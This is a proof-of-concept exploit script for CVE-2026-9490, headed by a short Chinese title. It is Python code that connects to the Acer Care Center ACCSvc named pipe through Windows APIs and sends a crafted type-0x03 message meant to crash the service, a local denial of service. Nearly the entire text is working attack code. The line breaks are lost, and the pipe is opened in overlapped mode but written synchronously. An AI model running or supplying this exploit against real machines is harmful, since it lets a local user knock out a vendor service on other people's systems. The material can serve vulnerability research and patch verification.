CVE-2026-9490: Acer Care Center ACCSvc命名管道弱安全描述符导致本地DoS

import ctypes import time import struct # Windows API imports kernel32 = ctypes.windll.kernel32 PIPE_ACCESS_DUPLEX = 0x3 PIPE_TYPE_MESSAGE = 0x4 PIPE_READMODE_MESSAGE = 0x2 PIPE_WAIT = 0x0 INVALID_HANDLE_VALUE = -1 ERROR_PIPE_BUSY = 231 BUFSIZE = 4096 # Define the message type 0x03 that triggers the crash MESSAGE_TYPE_TRIGGER = 0x03 def connect_to_pipe(pipe_name): """Connect to the named pipe""" pipe = kernel32.CreateFileW( pipe_name, 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0, # No sharing None, # Default security 2, # OPEN_EXISTING 0x40000000, # FILE_FLAG_OVERLAPPED None # No template file ) return pipe def send_malicious_message(pipe_handle): """Send a crafted message with type 0x03 to trigger crash""" # Construct the malicious message # Message structure: [Type (4 bytes)][Size (4 bytes)][Payload] message_type = struct.pack('<I', MESSAGE_TYPE_TRIGGER) payload = b'\x41' * 100 # Arbitrary payload message_size = struct.pack('<I', len(payload)) message = message_type + message_size + payload bytes_written = ctypes.c_ulong(0) result = kernel32.WriteFile( pipe_handle, message, len(message), ctypes.byref(bytes_written), None ) return result, bytes_written.value def exploit_ac_csvc(): """Main exploit function for CVE-2026-9490""" # Default Acer Care Center service pipe name pipe_name = r'\\.\pipe\ACCSvcPipe' print(f'[*] Attempting to connect to {pipe_name}') # Try to connect to the pipe pipe_handle = connect_to_pipe(pipe_name) if pipe_handle == INVALID_HANDLE_VALUE: error = kernel32.GetLastError() if error == ERROR_PIPE_BUSY: print('[-] Pipe is busy, waiting...') time.sleep(1) pipe_handle = connect_to_pipe(pipe_name) else: print(f'[-] Failed to connect to pipe. Error code: {error}') return False print('[+] Connected to pipe successfully') print('[*] Sending malicious message with type 0x03...') # Send the malicious message success, bytes_written = send_malicious_message(pipe_handle) if success: print(f'[+] Sent {bytes_written} bytes') print('[!] ACCSvc service should crash with exit code 1067') else: print(f'[-] Failed to send message. Error code: {kernel32.GetLastError()}') kernel32.CloseHandle(pipe_handle) return success if __name__ == '__main__': print('CVE-2026-9490 PoC - Acer Care Center ACCSvc Named Pipe DoS') print('=' * 60) exploit_ac_csvc()